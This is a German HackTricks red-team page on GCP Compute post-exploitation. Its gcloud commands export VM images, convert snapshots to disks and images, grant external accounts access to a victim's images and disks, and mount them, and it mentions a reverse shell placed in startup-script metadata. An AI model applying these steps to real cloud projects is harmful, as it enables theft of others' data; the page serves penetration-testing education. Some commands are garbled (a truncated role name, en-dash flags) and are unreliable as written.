GCP - Compute Post Exploitation

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Compute

Für weitere Informationen zu Compute und VPC (Networking) siehe:

GCP - Compute Enum

Images exportieren & lokal untersuchen

Dies würde einem Angreifer ermöglichen, auf die in bereits vorhandenen Images enthaltenen Daten zuzugreifen oder neue Images laufender VMs zu erstellen und auf deren Daten zuzugreifen, ohne Zugriff auf die laufende VM zu haben.

Es ist möglich, ein VM-Image in einen bucket zu exportieren und es dann herunterzuladen und lokal zu mounten mit dem Befehl:

VM-Image exportieren und herunterladen ```bash gcloud compute images export --destination-uri gs:///image.vmdk --image imagetest --export-format vmdk # The download the export from the bucket and mount it locally ```

Für die Ausführung dieser Aktion benötigt der Angreifer möglicherweise Berechtigungen für den Storage-Bucket und auf jeden Fall Berechtigungen für cloudbuild, da dieser Service angefragt wird, den Export durchzuführen
Außerdem benötigen dafür das codebuild SA und das compute SA erhöhte Berechtigungen.
Das cloudbuild SA <project-id>@cloudbuild.gserviceaccount.com benötigt:

  • roles/iam.serviceAccountTokenCreator
  • roles/compute.admin
  • roles/iam.serviceAccountUser

Und das SA <project-id>-compute@developer.gserviceaccount.com benötigt:

  • oles/compute.storageAdmin
  • roles/storage.objectAdmin

Snapshots & Disks lokal exportieren und untersuchen

Es ist nicht möglich, Snapshots und Disks direkt zu exportieren, aber es ist möglich, einen Snapshot in eine Disk zu verwandeln, eine Disk in ein Image und entsprechend der vorherigen Sektion dieses Image zu exportieren, um es lokal zu untersuchen

Disk aus Snapshot erstellen und Image aus Disk ```bash # Create a Disk from a snapshot gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]

Create an image from a disk

gcloud compute images create [IMAGE_NAME] –source-disk=[NEW_DISK_NAME] –source-disk-zone=[ZONE]

</details>

### Ein Image prüfen und daraus eine VM erstellen

Um auf die **data stored in an image** oder innerhalb einer **running VM** zuzugreifen, von der ein Angreifer **has created an image**, ist es möglich, einem externen Konto Zugriff auf das image zu gewähren:

<details>

<summary>Zugriff auf image gewähren und VM erstellen</summary>
```bash
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'

und dann eine neue VM daraus erstellen:

VM-Instanz aus Image erstellen ```bash gcloud compute instances create [INSTANCE_NAME] \ --project=[TARGET_PROJECT_ID] \ --zone=[ZONE] \ --image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME] ```

Wenn du deinem externen Account keinen Zugriff auf das image geben konntest, könntest du eine VM mit diesem image im Projekt des Opfers starten und die metadata so setzen, dass eine reverse shell ausgeführt wird, um auf das image zuzugreifen, indem du den Param hinzufügst:

VM mit reverse shell in metadata erstellen ```bash --metadata startup-script='#! /bin/bash echo "hello"; ' ```

Untersuche einen Snapshot/Disk, indem du ihn an eine VM anhängst

Um auf die in einem disk oder einem snapshot gespeicherten Daten zuzugreifen, kannst du den snapshot in ein disk umwandeln, ein disk in ein image konvertieren und den vorherigen Schritten folgen.

Oder du könntest einem externen Account Zugriff gewähren über das disk (wenn der Ausgangspunkt ein snapshot ist, gewähre Zugriff auf den snapshot oder erstelle daraus ein disk):

Zugriff auf disk gewähren ```bash gcloud projects add-iam-policy-binding [PROJECT_ID] \ --member='user:[USER_EMAIL]' \ --role='roles/compute.storageAdmin' ```

Die Festplatte an eine Instanz anhängen:

Festplatte an Instanz anhängen ```bash gcloud compute instances attach-disk [INSTANCE_NAME] \ --disk [DISK_NAME] \ --zone [ZONE] ```

Die Festplatte innerhalb der VM mounten:

  1. SSH in die VM:
Per SSH in die VM und Disk mounten
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
  1. Disk identifizieren: Sobald Sie in der VM sind, identifizieren Sie die neue Disk, indem Sie die Geräte auflisten. Typischerweise finden Sie sie als /dev/sdb, /dev/sdc usw.
  2. Disk formatieren und mounten (falls es sich um eine neue oder rohe Disk handelt):
  • Erstellen Sie einen Mount-Punkt:
Mount-Punkt erstellen und mounten
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
  • Disk mounten:
Disk-Gerät mounten
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]

Wenn Sie einem externen Projekt keinen Zugriff auf den Snapshot oder die Disk geben können, müssen Sie diese Aktionen möglicherweise in einer Instanz im selben Projekt wie der Snapshot/die Disk durchführen.

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks